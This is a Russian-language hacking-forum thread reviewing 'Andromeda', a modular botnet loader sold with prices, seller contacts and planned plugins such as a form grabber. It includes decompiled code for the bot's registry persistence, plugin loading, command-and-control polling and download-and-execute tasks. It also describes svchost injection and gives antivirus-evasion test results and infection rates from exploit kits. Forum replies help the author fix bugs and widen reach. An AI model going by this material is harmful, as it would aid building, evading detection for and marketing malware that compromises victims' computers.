• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Andromeda loader

Ar3s

Старожил форума
Легенда
Регистрация
30.12.2004
Сообщения
3 357
Реакции
1 404
logovj.png
И снова здравствуйте!
На волне лета и всеобщего упадка сил хочется не спеша лежать на пляже и потягивать текиллу с лимончиком, но хочу огорчить вас.
Пока вы балдеете - конкуренты качаются. Поэтому хочу взбодрить вас и рассказать о новом лоадере.

Итак встречаем andromeda!
Краткая информация:
Автор - waahoo
Контакты:
jabber: waahoo@exploit.im
Профиль: waahoo
Топик о продаже: Топик
Описание от автора:
Универсальный модульный бот. На основе этого продукта можно построить ботнет с безгранично разнообразными возможностями. Функционал бота расширяется с помощью системы плагинов, которые могут быть подгружены в нужном количестве и в любое время. Есть лоадер, изначально задумывалось поставлять лоадер в качестве отдельного плагина, сейчас же прогруз добален в базовый функционал.
Существует две версии бота:
01.* с паблик инжектом (используется QueueUserAPC)
  • Не ограниченная по количеству поддержка резервных доменов.
  • Модульный. Вы сами можете перепрофилировать свой ботнет под Ваши нужды в любое время.
  • В системе не агресивен, для установки не требуются права администратора, окно UAC не выскакивает.
  • Защищает себя, не подготовленный юзер не сможет удалить бота из системы.
  • Обходит фаерволы, не палится в процессах, используется инжект в доверенный процесс.
  • Не выбрасывает из себя никаких DLL, не содержит TLS, легко криптуется.
  • Работает на линейке от WinXP до Win7. Корректно работает на серверных ОС в разных сессиях.
  • Малый размер, полностью написан на ассемблере. (не ZeuS ёпта, расслабтесь))
02.* с приватным инжектом, отличается от первой пробивом проактивных защит.
Мои тесты:
  • Comodo Internet Security - палит создание процесса, инжект не видит.
  • Outpost Security Suite Pro 7 - не палит
  • Kaspersky Internet Security 2011 - не палит
  • ESET NOD32 Smart Security 4.2 - не палит
  • avast! Internet Security 6 - не палит
  • Avira Premium Security Suite - не палит
По второй версии бота также следует добавить, что криптовать я ее буду сам (первое время), дабы недопустить утечку метода в паблик, поэтому возможны задержки с получением билда второй версии.

Панель управления:
Написана на PHP в связке с MySQL.
  • Определение ботов находящихся за NAT.
  • Подсчет статистики по ботнету. Боты онлайн/боты оффлайн/мертвые боты/статистика по странам/статистика по платформам.
  • Подсчет количества выполненных/не выполненных задач.
  • Можно установить лимит на количество выполнений конкретной задачи.
  • Распределение задач по странам.
  • Удаление всей статы/удаление мертвых ботов из базы.
  • Работа с базой данных максимально оптимизированна, теоритически админка выдержит очень большие нагрузки, хотя тесты и время покажут.
Установка админки не требует наличия особенного мозга, нужно выполнить два скрипта и поправить конфиг.
Скриншоты админ панели:





PS:
В ближайшее время ожидайте выхода в свет следующих плагинов: Formgrabber (HTTPS,ie,ff), HTTP Replace (ie,ff,opera,chrome) - подмена выдачи... to be continued...

Ценники:
01.* - 300$
02.* - 900$
Ребилд на новый домен (основной) - 30$
Каждый дополнительный домен - 10$
Socks4 плагин, без бекконнекта - 50$

------==Установка==------
Ну здесь вопросов не возникло. Все как бы банально и как у всех. Заливка файлов на ftp, установка прав, создание БД.
установка:
скопировать файлы php и inc
Запустить install и import
У меня ушло минуты 2-3.
Рис.1

------==Подготовка билда==------
В поисках крипта я в очередной раз вынужден был обратиться к паблик сэллерам. Мой знакомый появлялся крайне редко. Пришлось крутиться.
В итоге первый же криптер все сделал. Файл был проверен и работал. (приключения начались позже с этим билдом, о чем я конечно же не забуду написать.)
Вес билда - 8,2 кб.
Вес криптованного билда 23,5кб.
------==Реверс==------
Наш друг и товарищ el- был в очередной раз привлечен к реверсу. За что ему огромное спасибо и вечный почет. :)

И так, все начинается с проверки является ли данная ось 64 разрядной по средством вызова IsWow64Process из импорта, и если нет, то все завершается, тут сразу два минуса, первый это конечно то, что не поддерживается 64 разрядная ось, коих сейчас вагон и маленькая тележка в трафе, а вторая то что апиха дергается из импорта, а если верить msdn Minimum supported client: Windows Vista, Windows XP with SP2, бинарник просто не запустится на осях ниже, в самом msdn советуют дергать её динамически. Дальше идет разделение, вернее отличие простой версии от той которая с обходами в первой используется обычный на сегодняшний день обход с CreateProcess("svchost.exe",CREATE_SUSPENDED)/NtMapViewOfSection/QueueUserAPC/ResumeThread, во второй же используется похожая техника с небольшими исправления, т.к. не используется QueueUserAPC. Кстати она ( эта техника ) недавно продавалась expl0der'ом и была вроде как описана Clerk'ом на wasm'е, так что опять же ничего особенного, но подробности я раскрывать не буду. В общем благодаря этим инжектам, в созданный процесс svchost'а попадает базонезависимый код, который распаковывает дллку, настраивает её в памяти и передает управление на мейн. Еще один минус, коим страдает сейчас большинство софта, это отсутствие проверки на низкий integrity level и попытки поднять его до нормального, такое произойдет ( произойдет обязательно, в большом количестве случаев ) когда такой лоадер запустится пробив internet explorer 7 и выше на vista/windows 7 с включенным protected mode. ( подробнее тут http://msdn.microsoft.com/en-us/library/bb...2(v=vs.85).aspx ) Об этом по сути должен думать на равне с кодером лоадеров ( софта ), кодеры связок, но почему то всем пофигу.

В самой длл, первый делом пытается получить переменную среды с именем src по средством GetEnvironmentVariable ( надо сказать что эта переменная заполняется до инжекта, в ней содержится путь до бинарника ), если такая переменная есть, а так же в реестре HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows:Load уже не прописан бот, то он туда прописывается, ключу выставляется DACL для HKCU D:(A;;KA;;;WD) KEY_ALL_ACCESS Everyone или "D:(A;;KRWD;;;WD) KEY_READWRITE_DELETE Everyone если первый выставить не получается, потом бинарник копируется в %USERPROFILE%\\Local Settings\\Temp с рандомным именем, так же бинарнику выставляется FILTIME svchost'а дабы не выделятся из толпы, у файла удаляется ntfs stream :Zone.Identifier ( подробнее тут http://hex.pp.ua/Zone.Identifier.php ), потом исходный бинарник грохается, а новый открывается дабы его никто не мог открыть пока бот висит.

После проверив наличие другана в системе, а именно не создан ли уже mutex andromeda и если такого не нашли стартует winsock и из ресстра HKEY_CURRENT_USER\\Software\\Microsoft\\andromeda читаются плагины, которые туда видимо записываются одной из команд лоадера.

Код:
LSTATUS __cdecl load_plugins()
{

  dwIndex = 0;
  result = RegCreateKeyExA(HKEY_CURRENT_USER, "Software\\Microsoft\\andromeda", 0, 0, 0, 0x20019u, 0, &hKey, 0);
  if ( !result )
  {
    while ( 1 )
    {
      cchValueName = 12;
      v1 = RegEnumValueA(hKey, dwIndex, &ValueName, &cchValueName, 0, 0, 0, &cbData);
      if ( v1 == ERROR_NO_MORE_ITEMS )
        break;
      if ( v1 )
        break;
      lpAddress = VirtualAlloc(0, cbData, 0x1000u, 4u);
      cchValueName = 12;
      if ( RegQueryValueExA(hKey, &ValueName, 0, 0, lpAddress, &cbData) )
        break;
      map_image(lpAddress);
      VirtualFree(lpAddress, 0, 0x8000u);
      ++dwIndex;
    }
    result = RegCloseKey(hKey);
  }
  return result;
}


int __stdcall map_image(int a1)
{

  decrypt(a1 + 16, *(a1 + 8));
  v5 = VirtualAlloc(0, *(a1 + 4), 0x1000u, 0x40u);
  if ( v5 )
  {
    unpack(ebp0, a1 + 16, v5);
    if ( v2 )
    {
      if ( fix_reloc(v5) )
      {
        fix_import(v5);
        if ( v3 )
          return ((v5 + *(*(v5 + 60) + v5 + 40)))(v5, 1, &g_event);
      }
    }
    VirtualFree(v5, 0, 0x8000u);
  }
  return 0;
}

Далее в бесконечном цикле, запускается основной поток, который стучится, получает задания и выполняет их, после выполнения дергая глобальный event, который предварительно был создан, в главном же потоке его походу должны дожидаться, но дожидаются вновь созданный, видимо небольшая ошибка.

Код:
    while ( 1 )
    {
      CreateThread(0, 0, main_thread, 0x18894, 0, 0);
      v1 = CreateEventA(0, 0, 0, 0);
      WaitForSingleObject(v1, 540000u);
      CloseHandle(v1);
    }

В основном потоке все просто, собирается инфа по оси ( GetVersionEx ), делается запрос на гугл получая реальный ip ( get_real_ip ), собирается запрос, где g_bot_id получается по средством GetVolumeInformation, а g_bot_ver вшитая в бинарник контстанта.

Код:
void __stdcall main_thread(int a1)
{

  lpMem = HeapAlloc(hHeap, 8u, 0x100u);
  VersionInformation.dwOSVersionInfoSize = 148;
  GetVersionExA(&VersionInformation);
  get_real_ip();
  v5 = v4;
  BYTE1(real_ip) = v3;
  LOBYTE(real_ip) = v5;
  real_ip = __ROR__(real_ip, 16);
  v6 = BYTE1(real_ip);
  BYTE1(real_ip) = real_ip;
  LOBYTE(real_ip) = v6;
  wsprintfA(lpMem, "id=%lu&v=%04x&os=%04x&localip=%lu", g_bot_id, g_bot_ver, os_ver, real_ip);
  v1 = &g_links;
  while ( 1 )
  {
    v8 = *v1;
    ++v1;
    if ( !v8 )
      goto LABEL_7;
    v9 = http_request(0, v8, "stat.php", lpMem);
    if ( v9 )
    {
      v10 = recv_with_realloc(v9);
      v12 = v10;
      if ( v10 )
      {
        if ( *(v10 + 1) == '--!<' )
        {
          g_task_name = *(v1 - 1);
          base64_decode_n_execute_task(v10);
          SetEvent(g_event);
LABEL_7:
          HeapFree(hHeap, 0, lpMem);
          ExitThread(0);
        }
      }
    }
  }
}

В цикл из глобального массива g_links, берутся зашитые в бота домены по каждому из них идет попытка отстука, в ответ получается base64 буфер с разными задания для данного бота, которые потом выполняются. Задание бывают трех типов, первое это просто запуск процесса, второе это добавления плагина в реестр ( описано выше ), проецирование его в память и передача на него управления и третье это перезапись основного файла бота, обновление.

Код:
    case '1':
      v6 = GetTickCount();
      v7 = ExpandEnvironmentStringsA("%TMP%", v17, 0x100u);
      wsprintfA(&v17[v7 - 1], "\\%08x.tmp", v6);
      v5 = http_request(1, name, 0, 0);
      if ( v5 )
      {
        if ( create_write_file_by_name(v5, v17, 1) )
          v15 = create_process(v17);
      }
      break;
    case '2':
      v8 = http_request(1, name, 0, 0);
      if ( v8 )
      {
        v9 = recv_with_realloc(v8);
        v16 = v9;
        if ( v9 )
        {
          v10 = (v9 + 4);
          if ( *(v9 + 1) == 0x4034B50 )
          {
            if ( decrypt2(v9 + 20, *(v9 + 3)) == *(v9 + 4) )
            {
              if ( add_plugin_to_reg(v10) )
              {
                v15 = map_image(v10);
                HeapFree(hHeap, 0, v16);
              }
            }
          }
        }
      }
      break;
    case '3':
      v14 = 1;
      if ( !RegCreateKeyExA(
              HKEY_CURRENT_USER,
              "Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows",
              0,
              0,
              0,
              0x20019u,
              0,
              &hKey,
              0) )
      {
        cbData = 256;
        RegQueryValueExA(hKey, "Load", 0, 0, v17, &cbData);
        RegCloseKey(hKey);
        CloseHandle(hObject);
        v11 = http_request(1, name, 0, 0);
        if ( v11 )
        {
          if ( create_write_file_by_name(v11, v17, 1) )
          {
            CloseHandle(*(&stru_14254.lpVendorInfo + 2));
            v15 = create_process(v17);
          }
        }
      }
      break;

После для каждого из заданий делается доп отстук подтверждающий, что задание выполнено удачно. Надо так же заметить, что я реверсил дллку из pro версии лоадера, но я не думаю что они вообще отличаются.


[14:09:55] <Ar3s> странно. автор клялся и божился что никаких dll нету
[14:10:18] <EL-> ну она внутри и мапится в память, на винт она не дропается
[14:10:20] <EL-> по сути считай нету

[18:13:44] <waahoo> отличная работа) 5+ реверсеру.
[18:23:56] <waahoo> кое какие комментарии я все же дам.

>>Minimum supported client: Windows Vista, Windows XP with SP2
да, я планирую также включить в бота векторную обработку исключений, т.е. ниже хр он работать не будет.

>>отсутствие проверки на низкий integrity level и попытки поднять его до нормального
нам и не нужны права админа и высокий integrity level. бот и без этого прекрасно работает.


------==Обходы==-----
winXP SP3
На все АВ ставятся самые последние обновления баз и модулей!!!
[*]Comodo Internet Security - палится перехват клавиатуры и инжект как на лайт так и на фулл версии. Рис.2
[*]Outpost Security Suite Pro 7 - не палит ничего!
[*]Kaspersky Internet Security 2011 - запустить на VirtualBox не удалось.
[*]ESET NOD32 Smart Security 4.2 - не палит ничего!
[*]avast! Internet Security 6 - палит вызов софта как в настройке "дом" так и в настройке "интернет". Походу спалился мой домен... Беру билд на новый домен. Палится инжект. Пробую режим дом и интернет. Ничего не меняется. Рис.3 Рис.4
[*]Avira Premium Security Suite - палит exe Рис.5. Смотрим криптованный вариант - без проблем.

win7 SP1
На все АВ ставятся самые последние обновления баз и модулей!!!
[*]Comodo Internet Security - автоматом запускает в sendbox Рис.6 Отключаю sendbox и стартую снова. Палит перехват клавиатуры Рис.7. Разрешаю. Палит инжект в svchost. Рис.8
[*]Outpost Security Suite Pro 7 - не палит
[*]Kaspersky Internet Security 2011 - палит Рис.9
[*]ESET NOD32 Smart Security 4.2 - не палит ничего!
[*]avast! Internet Security 6 - предлагает открыть в песочнице Рис.10. Разрешаю обычный запуск. Все чисто.
[*]Avira Premium Security Suite - не палит


!!!В этом месте выяснилось что крипт давал доп алерты на comodo. На этом месте автор сильно задумался и через пару дней сообщил что криптом первое время будет заниматься сам.
Тест пришлось переделать заново.
[22:25:13] <waahoo> отрабатывает, но при запуске проактивка палит инжект шелл-кода, в некриптованом билде мой комод видит только запуск свцхоста. нажимаю "пропустить" благополучно скачивает и запускает два ексешника, оба стартуют и ломятся в сеть.
по поводу крипта, написан на VB, он запускает вторую свою копию (получаем алерт на запуск процесса) и инжектит туда шелл-код (получаем еще один алерт, скрин ниже), как он инжектит я не стал разбираться, далее уже мой бот запускает свцхост (и еще один алерт).

Cкрин алерта http://stuffed.ru/uimages/y2011/06-22/2365.gif думаю другие ав продукты также беспощадно спалят такой крипт, он только сигнатурно чист.
[23:06:28] <waahoo> неполучается проверить поведение остальных ав, почему то у меня на виртулке, ни аваст, ни нод, ни оутпост не видят банального WriteProcessMemory/CreateRemoteThread неговоря уже о сабже, каспер даже не запускаецо. если есть возможность, проверь.

win7 SP1 Тест2 (глобальная доработка которая прошла после первых тестов.)
[*]Comodo Internet Security - предлагает запустить в sandbox Рис.11 Отключаю его. Стартую заново. Палит запуск. Рис.12
[*]Outpost Security Suite Pro 7 - не палит.
[*]Kaspersky Internet Security 2011 - не палит.
[*]ESET NOD32 Smart Security 4.2 - не палит
[*]avast! Internet Security 6 - Предлагает открыть в песочнице. Делаю обычный старт - всё нормально.
[*]Avira Premium Security Suite - не палит
!!!Копировал файл на рабочий стол. Файл не удалился во всех тестах (фиксится в данный момент)


------==Тесты==------
В тестах я грузил андромеду или через другой лоадер или со связки, а уже с него для полной картины я прогружал стукача.

Тест1
Lite loader=>andromeda
Отгружено - 434
Отстучалось в админку - 321-30=291
Отстук составляет - 67%

Стукач
отгружено с андромеды - 304
отстучалось на гейт - 303
Отстук составляет - 99,7%

LiteLoader Админка_до Админка_после Задание


Тест2
katrin exploit system=>amdromeda
Неожиданно катрина на 5К трафа обнулила стату.
Пробовал еще несколько раз сливать - тоже самое. Пришлось с автором решать вопрос.
Таким образом сколько отстучалось новых знаю, но сколько пробито было - не заскринил, придется поверить на слово автору катрины: 10949|7152|799|11.17%
Таким образом считаем что было отгружено - 799
Отстучалось - 601-321= 280
Отстук составляет - 35%

Рис16

!!!!!!! Начали разбираться что же за проблема. Как раз в это время я параллельно тестил на фаерволы. И выяснили что проблема с криптом не совсем банальная. И теоретически может дать подобный эффект. Поэтому спустя некоторое время я получил обновленный билд и сделал тест заново.

Тест3
katrin exploit system=>amdromeda
Перед тестом я почистил мертвых ботов в админке.
Отгружено по связке - 644
Отстучалось новых на стату - 595-218=377
Отстук составляет - 58,5%

Катрина Андромеда_до Андромеда_после
Андромеда_через_сутки


Тест4
Dloader=>andromeda
Отгружено по лоадеру - 933
Отстучалось новых на стату -892-90=802
Отстук составляет - 85,9%

Dloader Андромеда_до Андромеда_после

--------==Отзыв о авторе==-------
Очень приятный в общении человек. Специалист своего дела, в чем мы неоднократно убеждались на протяжении проходившего квеста. Автор занял почетное второе место и писал от бедра на асме.
Трудоголик, часто для того что бы выяснить какой-нибудь спорный момент с лоадером не спал днями и ночами. Учтив в общении. Очень активно помогал и подсказывал по ходу тестов и работы лоадера.

--------==Отзыв о лоадере==-------
Итак, подводя итоги что хочется написать. Лоадер пока еще молод. Было сделано не много тестов на отстук и говорить о его показателях рано.
Но, основываясь на моем знакомстве с автором, я уверен, что показатели будут улучшаться день ото дня.
На текущий момент лоадер замечательно выполняет свою функцию. Отстук с него очень высокий.
Несколько хромает отстук самого лоадера. Ждем улучшений и доп тестов.
И хочется еще сказать пару слов о перспективах. Насколько мне известно лоадер модульный. На данный момент несколько модулей уже реализовано, и на подходе еще немалое количество. Так что в перспективе этот продукт займет стойкую позицию на рынке и найдет своих потребителей.

--------==Благодарности==-------
waahoo - за предоставленный продукт и замечательные беседы в жабе!
el- - за реверс! Отдельная почетная благодарность нашему соавтору!
Blackkat - спасибо за связку.
Gdark, chococream, INC. - за неоценимую помощь!
ALL members - за то, что посещаете наш форум и читаете мои обзоры.

Записки на полях, специально для xss.pro/ by Ar3s
 
с того момента как бот был отдан на обзор утекло много воды, многое пофикшено, многое исправлено.

по средством вызова IsWow64Process ... то что апиха дергается из импорта, а если верить msdn Minimum supported client: Windows Vista, Windows XP with SP2, бинарник просто не запустится на осях ниже, в самом msdn советуют дергать её динамически.
пофиксил, апи теперь дергается динамически. если она не найдется бот просто закончит свою работу без фолта.

отсутствие проверки на низкий integrity level и попытки поднять его до нормального
пофиксил, теперь бот проверяет свой IL и пробует его поднять.

в ответ получается base64 буфер с разными задания для данного бота
добавлено RC4 шифрование протокола.

!!!Копировал файл на рабочий стол. Файл не удалился во всех тестах (фиксится в данный момент)
пофикшено.

Несколько хромает отстук самого лоадера. Ждем улучшений и доп тестов.
были замечены некоторые баги, а именно, бот падал с фолтом после выполнения задания в некоторых случаях. в итоге с WinInet, вся работа с сетью, была переписана на сокетах. также били пофикшены другие мелкие баги и недочеты - отстук и живучесть повышены. теперь уже время и тесты покупателей покажут результат проделанной работы. отдельное спасибо хотелось бы сказать Rev0lt'у за предоставленные ресурсы для отладки под висту/7

to Ar3s
огромное тебе спасибо и всем тем кто принимал участие в работе над обзором.

ps: в данный момент пишется полиморф специально для андромеды.
 
пофиксил, апи теперь дергается динамически. если она не найдется бот просто закончит свою работу без фолта.
Зачем завершать, если не найдется возвращай резалт False (если нет функи - считай 32-бит ОС), тогда в ранних версиях ОС софт будет работать, до XP SP2. Вообще и в х64 можно делать инжект в svchost, только дергать его надо из SysWOW64.
 
пофикшено.
каким образом ? а если на на китайскую тачку попадет софт ?

была переписана на сокетах.
а если боты сидят за корпоративным проксиком ?

вообщем если бы я хотел купить подобного плана софт и именно этого бота , то я бы еще подождал как минимум месяцев 3-4 пока ТС пройдет через свой велосипед ошибок, без обид - ошибки как у начинающего писателя, т.к. многие и неожиданные баги и моменты познаются с богатым опытом разработки и тестирования данного софта.
 
а если боты сидят за корпоративным проксиком ?
использование wininet тоже не гарантирует доступ в сеть,
ведь корпоративный проксик не обязательно вбит в настройки осла.
нужно грабить настройки подключения из браузеров и мейл клиентов.
 
accwranadm
>>пофиксил, апи теперь дергается динамически. если она не найдется бот просто закончит
>>свою работу без фолта.
вот так еще можно

Код:
bool
utl_is_wow64() {
	ulong is_wow = 0;
	ulong r_len = 0;
	NtQueryInformationProcess(NtCurrentProcess(),ProcessWow64Information,&is_wow,4,&r_len);
	return is_wow ? true : false;

}
 
разрядность ОС ешо можно так задетектить:
Код:
  mov	ax, cs
  .IF	ax == 23h
  ; x64!!!
  .ENDIF
обзор гут. аресу респекты
 
да, я планирую также включить в бота векторную обработку исключений, т.е. ниже хр он работать не будет.
Шим чекает версию, если ниже XP, то юзается UEF, иначе VEH.
 
Вообще и в х64 можно делать инжект в svchost, только дергать его надо из SysWOW64.
спс, взял на заметку, изучу вопрос.
каким образом ? а если на на китайскую тачку попадет софт ?
юникод он и в африке юникод.
а если боты сидят за корпоративным проксиком ?
а много пользы от машин за корпаративным проксиком? без всякого, я серьезно.
юзается UEF
сех знаю, вех знаю. а это что?
 
Код:
bool
utl_is_wow64() {
 ulong is_wow = 0;
 ulong r_len = 0;
 NtQueryInformationProcess(NtCurrentProcess(),ProcessWow64Information,&is_wow,4,&r_len);
 return is_wow ? true : false;

}
el-, а флаг ProcessWow64Information корректно обработается в системах ниже xpsp2 ?
 
Насколько мне известно - было продано несколько лицензий. От покупателей пока отзывов не поступало.
И, кроме того, вы можете поговорить с автором насчет предварительных тестов лоадера. Я думаю он пойдет навстречу.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх